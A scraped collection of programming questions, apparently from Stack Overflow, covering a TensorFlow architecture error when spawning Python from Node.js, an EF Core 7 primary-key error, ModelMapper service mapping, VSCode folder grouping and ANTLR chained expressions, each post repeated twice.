ImportError: dlopen(/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/_pywrap_cpu_feature_guard.so, 0x0002): tried: '/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/_pywrap_cpu_feature_guard.so' (mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64')), '/System/Volumes/Preboot/Cryptexes/OS/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/_pywrap_cpu_feature_guard.so' (no such file), '/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/_pywrap_cpu_feature_guard.so' (mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64'))
</code>```

here's my nodejs script

```<code>import { spawn } from "child_process";
import path from "path";

export const getLewdProbability = async (url: string): Promise<number> => {
  return new Promise((res, rej) => {
    const scriptPath = path.join(__dirname, "inference.py");
    const modelPath = path.join(__dirname, "saved_model/");
    const pythonProcess = spawn("python3", [
      scriptPath,
      "--model",
      modelPath,
      "--image_paths",
      url,
    ]);
    pythonProcess.stderr.on("data", (data) => {
      rej(data.toString());
    });
    pythonProcess.stdout.on("data", (data) => {
      res(data.toString());
    });
  });
};

getLewdProbability(
  "img.jpg"
)
  .catch(console.error)
  .then(console.log);

</code>```

I'm not able to understand what is the difference between running from shell and nodeJs, whats missing here?

Body:
I'm trying to run bumble's private detector model from my nodejs script, on M1 Mac. I installed all dependencies using pip3(tensorflow-macos), and i'm able to run the script from command line(python3 inference.py --model saved_model/  --image_paths img.jpg), but when I tried to run the same from nodeJs code, I'm getting the below error

Traceback (most recent call last):
  File "/Users/mahendrahegde/Projects/svc/helpers/lewd-detector/inference.py", line 6, in <module>
    import tensorflow as tf
  File "/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/__init__.py", line 37, in <module>
    from tensorflow.python.tools import module_util as _module_util
  File "/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/__init__.py", line 36, in <module>
    from tensorflow.python import pywrap_tensorflow as _pywrap_tensorflow
  File "/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/pywrap_tensorflow.py", line 26, in <module>
    self_check.preload_check()
  File "/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/self_check.py", line 63, in preload_check
    from tensorflow.python.platform import _pywrap_cpu_feature_guard
ImportError: dlopen(/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/_pywrap_cpu_feature_guard.so, 0x0002): tried: '/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/_pywrap_cpu_feature_guard.so' (mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64')), '/System/Volumes/Preboot/Cryptexes/OS/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/_pywrap_cpu_feature_guard.so' (no such file), '/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/_pywrap_cpu_feature_guard.so' (mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64'))

here's my nodejs script

import { spawn } from "child_process";
import path from "path";

export const getLewdProbability = async (url: string): Promise<number> => {
  return new Promise((res, rej) => {
    const scriptPath = path.join(__dirname, "inference.py");
    const modelPath = path.join(__dirname, "saved_model/");
    const pythonProcess = spawn("python3", [
      scriptPath,
      "--model",
      modelPath,
      "--image_paths",
      url,
    ]);
    pythonProcess.stderr.on("data", (data) => {
      rej(data.toString());
    });
    pythonProcess.stdout.on("data", (data) => {
      res(data.toString());
    });
  });
};

getLewdProbability(
  "img.jpg"
)
  .catch(console.error)
  .then(console.log);

I'm not able to understand what is the difference between running from shell and nodeJs, whats missing here?


问:
EF Core 7 - error occurred: the entity type 'List<string>' requires a primary key to be defined
I get an error when I use EF Core 7 to create entities.

The entity type 'List' requires a primary key to be defined. If you intended to use a keyless entity type, call 'HasNoKey' in 'OnModelCreating'. For more information on keyless entity types, see https://go.microsoft.com/fwlink/?linkid=2141943.

I have found the error prop, that's Project of service entity, when I only annotate Project of service entity, then I can  run Add-Migration successfully. I don't know why and I also don't know how to fix this error.

Does somebody know this error? Please help...

public class Service : EntityBase
{
    public Guid? DefaultCapacityUnitId { get; set; }
    public Guid? DefaultSizeUnitId { get; set; }
    public virtual SizeUnit DefaultSizeUnit { get; set; }
    public Guid ProjectId { get; set; }
    public Project Project { get; set; }

    public Guid? ParentId { get; set; }
    public virtual Service Parent { get; set; }

    public Guid DisciplineId { get; set; }
    public virtual Discipline Discipline { get; set; }

    public virtual List<Service> SubServices { get; set; } = new List<Service>();
}

public class Equipment : EntityBase
{
    public Guid ProjectId { get; set; }
    public Project Project { get; set; }

    public Guid? ServiceId { get; set; }
    public virtual Service Service { get; set; }

    public Guid DisciplineId { get; set; }
    public virtual Discipline Discipline { get; set; }
}

public abstract class EntityBase
{
    [Key]
    public virtual Guid Id { get; set; } = Guid.NewGuid();

    private string name;

    [Required, MaxLength(200)]
    public virtual string Name
    {
        get
        {
            return name?.Trim();
        }
        set
        {
            name = value?.Trim();
        }
    }

    private string shortName;

    [Required, MaxLength(100)]
    public virtual string ShortName
    {
        get
        {

            return shortName?.Trim();
        }
        set
        {
            shortName = value?.Trim();
        }
    }
        [NotMapped]
        public EntityBase Snapshot { get; set; }

        [NotMapped]
        public List<string> ValueChangedProperties { get; set; } = new List<string>();

}

public class Project : EntityBase
{
}

public class Discipline : EntityBase
{
    public Guid ProjectId { get; set; }

    public virtual Project Project { get; set; }

    public virtual List<Service> Services { get; set; } = new List<Service>();
    public Guid? ScenarioId { get; set; }

    public Guid? ParentId { get; set; }
    public virtual Discipline Parent { get; set; }
}
```
<pre class="lang-cs prettyprint-override"><code>public partial class TestDbContext : DbContext
{
    public TestDbContext(DbContextOptions<TestDbContext> options)
            : base(options)
    { }

    public TestDbContext()
    {
    }

    public DbSet<Project> Projects { get; set; }
    public DbSet<Discipline> Disciplines { get; set; }

    public DbSet<Service> Services { get; set; }
    public DbSet<ServiceGroup> ServiceGroups { get; set; }

    public DbSet<SizeUnit> SizeUnits { get; set; }
    public DbSet<Equipment> Equipments { get; set; }

    protected override void OnModelCreating(ModelBuilder modelBuilder)
    {
        var entityTypes = typeof(TestDbContext).GetProperties()
                            .Where(p => p.PropertyType.IsGenericType && p.PropertyType.GetGenericTypeDefinition() == typeof(DbSet<>))
                            .Select(p => p.PropertyType.GetGenericArguments()[0]).ToList();
        entityTypes.ForEach(entityType => {
            var entityName = entityType.Name;
            modelBuilder.Entity(entityType).ToTable(entityName);

        });
        modelBuilder.Entity<ServiceMapping>().HasOne(x => x.Service).WithMany().HasForeignKey(x => x.ServiceId).OnDelete(DeleteBehavior.Cascade);
        modelBuilder.Entity<ServiceMapping>().HasOne(x => x.TargetService).WithMany().HasForeignKey(x => x.TargetServiceId).OnDelete(DeleteBehavior.Cascade);

        base.OnModelCreating(modelBuilder);
    }
}
</code>```

public class ServiceGroup : EntityBase
{
    public Guid ProjectId { get; set; }
    public virtual Project Project { get; set; }

    public Guid? ScenarioId { get; set; }
}

public class ServiceMapping : EntityBase
{
    public Guid ProjectId { get; set; }
    public virtual Project Project { get; set; }

    public Guid ServiceId { get; set; }

    public virtual Service Service { get; set; }

    public Guid TargetServiceId { get; set; }

    public virtual Service TargetService { get; set; }
}

public class SizeUnit : EntityBase
{
    public Guid ProjectId { get; set; }
    public virtual Project Project { get; set; }
    public int UnitType { get; set; }
}
```

If I annotate Project of service entity, then it's all right.

Body:
I get an error when I use EF Core 7 to create entities.

The entity type 'List' requires a primary key to be defined. If you intended to use a keyless entity type, call 'HasNoKey' in 'OnModelCreating'. For more information on keyless entity types, see https://go.microsoft.com/fwlink/?linkid=2141943.

I have found the error prop, that's Project of service entity, when I only annotate Project of service entity, then I can  run Add-Migration successfully. I don't know why and I also don't know how to fix this error.

Does somebody know this error? Please help...

public class Service : EntityBase
{
    public Guid? DefaultCapacityUnitId { get; set; }
    public Guid? DefaultSizeUnitId { get; set; }
    public virtual SizeUnit DefaultSizeUnit { get; set; }
    public Guid ProjectId { get; set; }
    public Project Project { get; set; }

    public Guid? ParentId { get; set; }
    public virtual Service Parent { get; set; }

    public Guid DisciplineId { get; set; }
    public virtual Discipline Discipline { get; set; }

    public virtual List<Service> SubServices { get; set; } = new List<Service>();
}

public class Equipment : EntityBase
{
    public Guid ProjectId { get; set; }
    public Project Project { get; set; }

    public Guid? ServiceId { get; set; }
    public virtual Service Service { get; set; }

    public Guid DisciplineId { get; set; }
    public virtual Discipline Discipline { get; set; }
}

public abstract class EntityBase
{
    [Key]
    public virtual Guid Id { get; set; } = Guid.NewGuid();

    private string name;

    [Required, MaxLength(200)]
    public virtual string Name
    {
        get
        {
            return name?.Trim();
        }
        set
        {
            name = value?.Trim();
        }
    }

    private string shortName;

    [Required, MaxLength(100)]
    public virtual string ShortName
    {
        get
        {

            return shortName?.Trim();
        }
        set
        {
            shortName = value?.Trim();
        }
    }
        [NotMapped]
        public EntityBase Snapshot { get; set; }

        [NotMapped]
        public List<string> ValueChangedProperties { get; set; } = new List<string>();

}

public class Project : EntityBase
{
}

public class Discipline : EntityBase
{
    public Guid ProjectId { get; set; }

    public virtual Project Project { get; set; }

    public virtual List<Service> Services { get; set; } = new List<Service>();
    public Guid? ScenarioId { get; set; }

    public Guid? ParentId { get; set; }
    public virtual Discipline Parent { get; set; }
}

public partial class TestDbContext : DbContext
{
    public TestDbContext(DbContextOptions<TestDbContext> options)
            : base(options)
    { }

    public TestDbContext()
    {
    }

    public DbSet<Project> Projects { get; set; }
    public DbSet<Discipline> Disciplines { get; set; }

    public DbSet<Service> Services { get; set; }
    public DbSet<ServiceGroup> ServiceGroups { get; set; }

    public DbSet<SizeUnit> SizeUnits { get; set; }
    public DbSet<Equipment> Equipments { get; set; }

    protected override void OnModelCreating(ModelBuilder modelBuilder)
    {
        var entityTypes = typeof(TestDbContext).GetProperties()
                            .Where(p => p.PropertyType.IsGenericType && p.PropertyType.GetGenericTypeDefinition() == typeof(DbSet<>))
                            .Select(p => p.PropertyType.GetGenericArguments()[0]).ToList();
        entityTypes.ForEach(entityType => {
            var entityName = entityType.Name;
            modelBuilder.Entity(entityType).ToTable(entityName);

        });
        modelBuilder.Entity<ServiceMapping>().HasOne(x => x.Service).WithMany().HasForeignKey(x => x.ServiceId).OnDelete(DeleteBehavior.Cascade);
        modelBuilder.Entity<ServiceMapping>().HasOne(x => x.TargetService).WithMany().HasForeignKey(x => x.TargetServiceId).OnDelete(DeleteBehavior.Cascade);

        base.OnModelCreating(modelBuilder);
    }
}

public class ServiceGroup : EntityBase
{
    public Guid ProjectId { get; set; }
    public virtual Project Project { get; set; }

    public Guid? ScenarioId { get; set; }
}

public class ServiceMapping : EntityBase
{
    public Guid ProjectId { get; set; }
    public virtual Project Project { get; set; }

    public Guid ServiceId { get; set; }

    public virtual Service Service { get; set; }

    public Guid TargetServiceId { get; set; }

    public virtual Service TargetService { get; set; }
}

public class SizeUnit : EntityBase
{
    public Guid ProjectId { get; set; }
    public virtual Project Project { get; set; }
    public int UnitType { get; set; }
}

If I annotate Project of service entity, then it's all right.


问:
ModelMapper: How to map a field to its object type using service layer methods
I have Employee class

```<code>@Data
public class Employee {
    private Integer id;
    private String firstname;
    private String lastname;
    private String email;
    private String code;
    private Integer managerEmployeeId;
    private Integer departmentId;
    private Integer roleid;
    private String password;
}
</code>```

And I have created EmployeeDTO class

```<code>@Data
public class EmployeeDTO  extends RepresentationModel<EmployeeDTO> {
    private String firstname;
    private String lastname;
    private String email;
    private String code;
    private Employee manager;
    private Department department;
    private Role role;
}
</code>```

Department and Role both are entity classes

```<code>@Data
public class Department extends RepresentationModel<Department>{
    private Integer id;
    private String departmentName;
}
</code>```

I have service layer class to get Department object by department id and set it to EmployeeDTO

So the mapping logic is as follows

Get departmentId from Employee -> call getDepartmentById of service and get Department object -> set Department object of EmployeeDTO

I created a TypeMap and calling addMappings as follows

```<code>private EmployeeDTO employeeToDto(Employee employee) {
        ModelMapper modelMapper = new ModelMapper();
        TypeMap<Employee, EmployeeDTO> propertyMap = modelMapper.createTypeMap(Employee.class, EmployeeDTO.class);
        propertyMap.addMappings(
            mapper -> mapper.map(
                emp -> this.getDepartmentById(emp.getDepartmentId()), EmployeeDTO::setDepartment
            )
        );
        return modelMapper.map(employee, EmployeeDTO.class);
    }
</code>```

I have created a custom method to handle null values as service layer returns Optional

```<code>private Department getDepartmentById(Integer departmentId) {
        Optional<Department> deptOptional = this.departmentService.getDepartment(departmentId);
        if (!deptOptional.isPresent()) {
            return null;
        }
        return deptOptional.get();
    }
</code>```

Upon debugging, I observed that the emp in map() method is null, and my custom method getDepartmentById is called immediately with departmentId as 0. I confirmed that the employee object passed has some department id and it is not 0.

Firstly, the addMappings() is attempting to perform the operation immediately I don't know why, which I think results in departmentId being passed as 0 as I have not passed the actual object to map yet. I am not aware of any other method as of now.

Body:
I have Employee class

@Data
public class Employee {
    private Integer id;
    private String firstname;
    private String lastname;
    private String email;
    private String code;
    private Integer managerEmployeeId;
    private Integer departmentId;
    private Integer roleid;
    private String password;
}

And I have created EmployeeDTO class

@Data
public class EmployeeDTO  extends RepresentationModel<EmployeeDTO> {
    private String firstname;
    private String lastname;
    private String email;
    private String code;
    private Employee manager;
    private Department department;
    private Role role;
}

Department and Role both are entity classes

@Data
public class Department extends RepresentationModel<Department>{
    private Integer id;
    private String departmentName;
}

I have service layer class to get Department object by department id and set it to EmployeeDTO

So the mapping logic is as follows

Get departmentId from Employee -> call getDepartmentById of service and get Department object -> set Department object of EmployeeDTO

I created a TypeMap and calling addMappings as follows

private EmployeeDTO employeeToDto(Employee employee) {
        ModelMapper modelMapper = new ModelMapper();
        TypeMap<Employee, EmployeeDTO> propertyMap = modelMapper.createTypeMap(Employee.class, EmployeeDTO.class);
        propertyMap.addMappings(
            mapper -> mapper.map(
                emp -> this.getDepartmentById(emp.getDepartmentId()), EmployeeDTO::setDepartment
            )
        );
        return modelMapper.map(employee, EmployeeDTO.class);
    }

I have created a custom method to handle null values as service layer returns Optional

private Department getDepartmentById(Integer departmentId) {
        Optional<Department> deptOptional = this.departmentService.getDepartment(departmentId);
        if (!deptOptional.isPresent()) {
            return null;
        }
        return deptOptional.get();
    }

Upon debugging, I observed that the emp in map() method is null, and my custom method getDepartmentById is called immediately with departmentId as 0. I confirmed that the employee object passed has some department id and it is not 0.

Firstly, the addMappings() is attempting to perform the operation immediately I don't know why, which I think results in departmentId being passed as 0 as I have not passed the actual object to map yet. I am not aware of any other method as of now.


问:
VSCode: Group folders in explorer by the first letter

Problem

I need to organize view of subfolders inside the exact folder in VSCode Explorer in a way like this, so the subfolders are grouped into corresponding intermediate folders, which are named by a single letter, representing the first letter of the subfolders. (preferably this should work automatically, but not necessary)

These intermediate folders a, b, c ... should be "virtual". Actual location of the original subfolders shouldn't be changed.

I tried...

Surprisingly, i couldn't find appropriate VSCode Extension for this.

I have achived desired behavior for files, with fileNesting option, by manually creating files a, b, c ... and using such a pattern in the settings:

"explorer.fileNesting.patterns": {
    "a": "a*",
    "b": "b*",
    "c": "c*",
    ...
}
```

But this doesn't affect folders.

Body:
Problem

I need to organize view of subfolders inside the exact folder in VSCode Explorer in a way like this, so the subfolders are grouped into corresponding intermediate folders, which are named by a single letter, representing the first letter of the subfolders. (preferably this should work automatically, but not necessary)

These intermediate folders a, b, c ... should be "virtual". Actual location of the original subfolders shouldn't be changed.

I tried...

Surprisingly, i couldn't find appropriate VSCode Extension for this.

I have achived desired behavior for files, with fileNesting option, by manually creating files a, b, c ... and using such a pattern in the settings:

"explorer.fileNesting.patterns": {
    "a": "a*",
    "b": "b*",
    "c": "c*",
    ...
}

But this doesn't affect folders.


问:
Handle Chain Expressions (Antlr)
I am making an interpreter in Antlr and I am having trouble with the following:
One of my rules states:

```<code>expression
    : { .. }
    | {... }
    | identifier
    | expression DOT expressioon
    | get_index
    | invoke_method
    | { ... }
    ;
</code>```

I thought this way I'd evaluate expressions such as "a.b[2].Run()" or whatever... the idea is being able to use both variables, indexing, and methods. All 3 syntaxes are in place... How do I chain them tho? Is my approach correct? or is there a better way? (The example I provided just randomly throws those in with no specification for the sake of clearance, it's not the actual grammar but I can assure you all other 3 grammar rules(identifier, get_index and invoke_method) are defined and are proper, identifier is a single one, not chained)

Title: Handle Chain Expressions (Antlr)

Body:
I am making an interpreter in Antlr and I am having trouble with the following:
One of my rules states:

expression
    : { .. }
    | {... }
    | identifier
    | expression DOT expressioon
    | get_index
    | invoke_method
    | { ... }
    ;

I thought this way I'd evaluate expressions such as "a.b[2].Run()" or whatever... the idea is being able to use both variables, indexing, and methods. All 3 syntaxes are in place... How do I chain them tho? Is my approach correct? or is there a better way? (The example I provided just randomly throws those in with no specification for the sake of clearance, it's not the actual grammar but I can assure you all other 3 grammar rules(identifier, get_index and invoke_method) are defined and are proper, identifier is a single one, not chained)